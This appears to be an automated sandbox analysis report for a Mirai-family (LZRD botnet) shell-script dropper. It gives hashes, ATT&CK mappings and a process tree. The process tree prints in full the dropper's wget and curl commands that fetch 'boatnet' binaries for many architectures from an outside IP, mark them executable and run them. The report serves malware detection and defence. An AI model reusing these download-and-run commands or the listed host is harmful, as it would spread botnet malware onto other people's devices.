mirai | 51a77320da977deac7fb703c6333820bae779ad712f3216fe4d407500d889a8d

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
26-12-2024 12:37

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General

Target

ohshit.sh
Size

2KB
MD5

6aff3f3662291b471ab7ad4cbdd57c29
SHA1

04c570fcebd808ce12793fc191ee5cd886bbcc73
SHA256

51a77320da977deac7fb703c6333820bae779ad712f3216fe4d407500d889a8d
SHA512

d08ebda17bc94d8c89fcbb16f42c4be409ec96222e0c49b5a69b044b2e725a63caf03d803a225b76c764d86bba42a5b303bff539a90092e432aa861a7d6f4cc4

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1516	chmod
1540	chmod
1570	chmod
1636	chmod
1524	chmod
1532	chmod
1548	chmod
1556	chmod
1594	chmod
1612	chmod
1628	chmod
1660	chmod
1644	chmod
1584	chmod
1652	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1517	WTF
/tmp/WTF	1525	WTF
/tmp/WTF	1533	WTF
/tmp/WTF	1541	WTF
/tmp/WTF	1549	WTF
/tmp/WTF	1557	WTF
/tmp/WTF	1571	WTF
/tmp/WTF	1585	WTF
/tmp/WTF	1595	WTF
/tmp/WTF	1613	WTF
/tmp/WTF	1629	WTF
/tmp/WTF	1637	WTF
/tmp/WTF	1645	WTF
/tmp/WTF	1653	WTF
/tmp/WTF	1661	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1632/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/1195/cmdline	WTF
File opened for reading	/proc/1295/cmdline	WTF
File opened for reading	/proc/1180/cmdline	WTF
File opened for reading	/proc/481/cmdline	WTF
File opened for reading	/proc/1616/cmdline	WTF
File opened for reading	/proc/501/cmdline	WTF
File opened for reading	/proc/1066/cmdline	WTF
File opened for reading	/proc/1176/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/653/cmdline	WTF
File opened for reading	/proc/493/cmdline	WTF
File opened for reading	/proc/957/cmdline	WTF
File opened for reading	/proc/1511/cmdline	WTF
File opened for reading	/proc/1188/cmdline	WTF
File opened for reading	/proc/1640/cmdline	WTF
File opened for reading	/proc/1560/cmdline	WTF
File opened for reading	/proc/1480/cmdline	WTF
File opened for reading	/proc/1646/cmdline	WTF
File opened for reading	/proc/1614/cmdline	WTF
File opened for reading	/proc/1289/cmdline	WTF
File opened for reading	/proc/1236/cmdline	WTF
File opened for reading	/proc/957/cmdline	WTF
File opened for reading	/proc/1074/cmdline	WTF
File opened for reading	/proc/1534/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/481/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/672/cmdline	WTF
File opened for reading	/proc/1078/cmdline	WTF
File opened for reading	/proc/1511/cmdline	WTF
File opened for reading	/proc/1167/cmdline	WTF
File opened for reading	/proc/1175/cmdline	WTF
File opened for reading	/proc/957/cmdline	WTF
File opened for reading	/proc/1596/cmdline	WTF
File opened for reading	/proc/1656/cmdline	WTF
File opened for reading	/proc/1017/cmdline	WTF
File opened for reading	/proc/1327/cmdline	WTF
File opened for reading	/proc/493/cmdline	WTF
File opened for reading	/proc/1194/cmdline	WTF
File opened for reading	/proc/1662/cmdline	WTF
File opened for reading	/proc/1103/cmdline	WTF
File opened for reading	/proc/1337/cmdline	WTF
File opened for reading	/proc/1202/cmdline	WTF
File opened for reading	/proc/605/cmdline	WTF
File opened for reading	/proc/1552/cmdline	WTF
File opened for reading	/proc/1624/cmdline	WTF
File opened for reading	/proc/481/cmdline	WTF
File opened for reading	/proc/1656/cmdline	WTF
File opened for reading	/proc/533/cmdline	WTF
File opened for reading	/proc/1630/cmdline	WTF
File opened for reading	/proc/501/cmdline	WTF
File opened for reading	/proc/1542/cmdline	WTF
File opened for reading	/proc/1315/cmdline	WTF
File opened for reading	/proc/1236/cmdline	WTF
File opened for reading	/proc/1074/cmdline	WTF
File opened for reading	/proc/1305/cmdline	WTF
File opened for reading	/proc/737/cmdline	WTF
File opened for reading	/proc/1074/cmdline	WTF
File opened for reading	/proc/1507/cmdline	WTF
File opened for reading	/proc/1090/cmdline	WTF
File opened for reading	/proc/910/cmdline	WTF
File opened for reading	/proc/1509/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1521	wget
1522	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.sh4	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1509
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1515
- /bin/chmod
  chmod +x boatnet.x86 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1517
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1521
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1525
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1533
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.i468
  2⤵
  PID:1537
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1541
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.i686
  2⤵
  PID:1545
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1549
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.x86_64
  2⤵
  PID:1553
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1557
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1561
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-jroE80 systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1571
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1575
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-gZ2SF9 systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1585
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1589
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1594
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1595
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1599
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1604
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-SqG3l1 systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1612
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1613
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1617
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1624
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1628
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1629
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1633
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1634
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1636
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1637
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1641
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1642
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1644
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1645
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1649
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1653
- /usr/bin/wget
  wget http://85.237.211.124/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1657
- /usr/bin/curl
  curl -O http://85.237.211.124/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1658
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-V8i1f1 netplan_1g28a08u ohshit.sh snap-private-tmp ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-jWyoUp WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1660
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1661

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
27KB

MD5
9e6da56f2e4b29e5d019938932a7d02d

SHA1
2039359cee130eb95673ba1d21a91965a87dc564

SHA256
b528a15b83072c5d848eba0700eedf37dbfb35938a29e41c4529bee4e325203a

SHA512
2084c8b7057d9fb9dc6587237c3e1a3172ae3cf51774097d587a2e2c6d0168b82d834b0c80d4f8672953df408e3b97dfc391f9aeb2ae263a2f12cbc12e34e382

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